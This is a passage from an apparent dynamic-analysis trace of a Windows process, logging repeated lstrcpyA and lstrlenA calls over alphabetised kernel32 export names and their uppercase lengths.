(lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0108.693] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0108.693] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0108.693] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0108.693] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0108.693] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0108.693] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0108.694] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0108.694] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0108.694] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0108.694] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0108.694] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0108.694] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0108.694] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0108.694] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0108.694] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0108.694] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0108.694] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0108.694] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0108.694] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0108.694] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0108.694] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0108.694] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0108.694] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0108.694] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0108.695] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0108.695] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0108.695] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0108.695] lstrlenA (lpString="BACKUPREAD") returned 10 [0108.695] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0108.695] lstrlenA (lpString="BACKUPSEEK") returned 10 [0108.695] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0108.695] lstrlenA (lpString="BACKUPWRITE") returned 11 [0108.695] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0108.695] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0108.695] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0108.695] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0108.695] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0108.695] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0108.695] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0108.695] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0108.695] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0108.695] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0108.696] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0108.696] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0108.696] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0108.696] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0108.696] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0108.696] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0108.696] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0108.696] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0108.696] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0108.696] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0108.696] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0108.696] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0108.696] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0108.696] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0108.696] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0108.696] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0108.696] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0108.696] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0108.697] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0108.697] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0108.697] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0108.697] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0108.697] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0108.697] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0108.697] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0108.697] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0108.697] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0108.697] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0108.697] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0108.697] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0108.697] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0108.697] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0108.697] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0108.697] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0108.697] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0108.697] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0108.698] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0108.698] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0108.698] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0108.698] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0108.698] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0108.698] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0108.698] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0108.698] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0108.698] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0108.698] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0108.698] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0108.698] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0108.698] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0108.698] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0108.698] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0108.698] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0108.698] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0108.698] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0108.698] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0108.699] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0108.699] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0108.699] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0108.699] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0108.699] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0108.699] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0108.699] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0108.699] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0108.699] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0108.699] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0108.699] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0108.699] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0108.699] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0108.699] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0108.699] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0108.699] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0108.699] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0108.701] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0108.701] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0108.701] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0108.701] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0108.701] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0108.701] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0108.701] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0108.701] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0108.701] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0108.701] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0108.701] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0108.701] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0108.701] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0108.701] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0108.701] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0108.701] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0108.701] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0108.701] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0108.701] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0108.701] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0108.702] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0108.702] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0108.702] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0108.702] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0108.702] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0108.702] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0108.702] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0108.702] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0108.702] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0108.702] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0108.702] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0108.702] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0108.702] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0108.702] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0108.702] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0108.702] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0108.702] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0108.702] lstrlenA (lpString="BEEP") returned 4 [0108.702] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0108.702] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0108.702] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0108.702] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0108.702] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0108.702] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0108.702] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0108.702] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0108.703] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0108.703] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0108.703] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0108.703] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0108.703] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0108.703] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0108.703] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0108.703] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0108.703] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0108.703] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0108.703] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0108.703] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0108.703] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0108.703] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0108.703] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0108.703] lstrlenA (lpString="CANCELIO") returned 8 [0108.703] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0108.703] lstrlenA (lpString="CANCELIOEX") returned 10 [0108.703] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0108.703] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0108.703] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0108.703] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0108.703] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0108.703] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0108.703] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0108.703] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0108.704] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0108.704] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0108.704] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0108.704] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0108.704] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0108.704] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0108.704] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0108.704] lstrlenA (lpString="CHECKELEVATION") returned 14 [0108.704] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0108.704] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0108.704] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0108.704] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0108.704] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0108.704] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0108.704] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0108.704] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0108.704] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0108.704] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0108.704] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0108.704] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0108.704] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0108.704] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0108.704] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0108.704] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0108.704] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0108.704] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0108.704] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0108.705] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0108.705] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0108.705] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0108.705] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0108.705] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0108.705] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0108.705] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0108.705] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0108.705] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0108.705] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0108.705] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0108.705] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0108.705] lstrlenA (lpString="CLOSESTATE") returned 10 [0108.705] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0108.705] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0108.705] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0108.705] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0108.705] lstrcpyA (in: 